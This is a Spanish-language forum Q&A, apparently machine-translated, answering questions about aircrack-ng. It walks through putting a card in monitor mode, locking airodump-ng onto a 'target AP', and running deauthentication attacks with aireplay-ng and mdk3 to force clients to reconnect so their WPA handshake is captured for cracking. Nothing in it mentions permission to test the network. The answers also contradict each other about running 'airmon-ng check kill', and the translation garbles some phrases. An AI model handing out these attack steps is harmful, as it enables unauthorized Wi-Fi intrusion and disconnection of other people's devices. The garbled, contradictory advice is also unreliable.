Algunas preguntas acerca de aircrack-ng

Muy bien amigo, aquí hay algunas notas:

En cuanto al problema del protocolo de enlace, por experiencia, podría ser lo siguiente:

• No está lo suficientemente cerca del enrutador, existe la posibilidad de que no capture el protocolo de enlace si el cliente está demasiado cerca del punto de acceso y el dispositivo en modo monitor está relativamente lejos.
• Un problema de hardware, su dispositivo de red es antiguo y no es compatible, por lo que no puede capturar paquetes de otros protocolos. Por ejemplo, si su dispositivo ejecuta 802.11g y la red es 802.11n

Solución: primero, intente capturar el saludo desde diferentes posiciones físicas; si no funciona, pruebe con otro dispositivo WiFi.

Nota:

Algunas respuestas dicen kill procesos que interfieren con airmon-ng. No utilice el comando
airmon-ng check kill porque detendrá la aplicación del administrador de red.

No use el comando anterior para corregir el error del canal fijo -1, en su lugar, use los siguientes comandos cuando inicie el modo monitor:

• airmon-ng start wlan0
• ifconfig wlan0mon down
• iwconfig wlan0mon mode monitor
• ifconfig wlan0mon up

Asegúrese de que está ejecutando airmon-ng check kill antes de cambiar al modo de monitoreo para finalizar cualquier proceso que pueda interferir con el monitoreo. También en tus intentos de belleza, prueba:

  

aireplay-ng -0 25 -a {BSSID} -c {ClientMAC} {interface}

Este tutorial tiene una explicación bastante buena de cómo para realizar el ataque que estás buscando.

Consulte this para ver si su tarjeta es compatible con aireplay-ng.

Tengo un método simple para hacer lo que estás intentando. En lugar de usar aireplay-ng y airmon-ng, lo siguiente eliminará los problemas iniciales (o debería).

1.) iw
2.) mdk3

Aunque veo que mencionaste mdk3, el ataque de Deauth debería funcionar con el siguiente método mío.

Comandos:

ifconfig wlan0 down

... y luego,

iw wlan0 interface add mon0 type monitor

... y luego,

# Just to make sure mon0 is up.
ifconfig mon0 up

... y luego,

airodump-ng mon0

... encuentre el punto de acceso que desea ver y luego,

# Stop airodump-ng
crtl + c

# start airodump-ng on target AP.
airodump-ng mon0 --bssid (MAC here) --channel (AP channel here) --write /path/to/capfiles.pcap

... una vez que airodump-ng se esté ejecutando y capturando en el AP objetivo, luego ejecútelo,

# Deauth attack.
mdk3 mon0 d -s 100 -c (AP channel here)

Para el ataque Deauth, también puede incluir una lista blanca / negra de AP que desea ignorar. Necesitará tener dos terminales para este método simple. Solo debe esperar un poco antes de que los clientes conectados a la AP se descarguen. Sin embargo, ten en cuenta que si no hay dispositivos conectados en el AP, no podrás capturar ningún saludo. Los apretones de manos se hacen cuando un dispositivo se autentica en el AP.

Cuando tenga el protocolo de enlace, presione crtl + c para detener mdk3 y airodump-ng. El archivo de la tapa se guardará en el directorio que especificó en la opción "escribir" de airodump-ng.

Para eliminar la interfaz mon0, ejecute el siguiente comando:

# Remove mon0
iw mon0 del

Y ya has terminado.

Si todavía tienes problemas, no dudes en contactarme en Facebook: Yokai Seishinkage.

(editar) Tenga en cuenta que esto elimina completamente la dependencia del uso de airmon-ng que también elimina los conflictos de servicio. Pero todavía será mejor usar este método con wlan0 hacia abajo para evitar cualquier problema. Hasta ahora, funciona perfectamente para mí.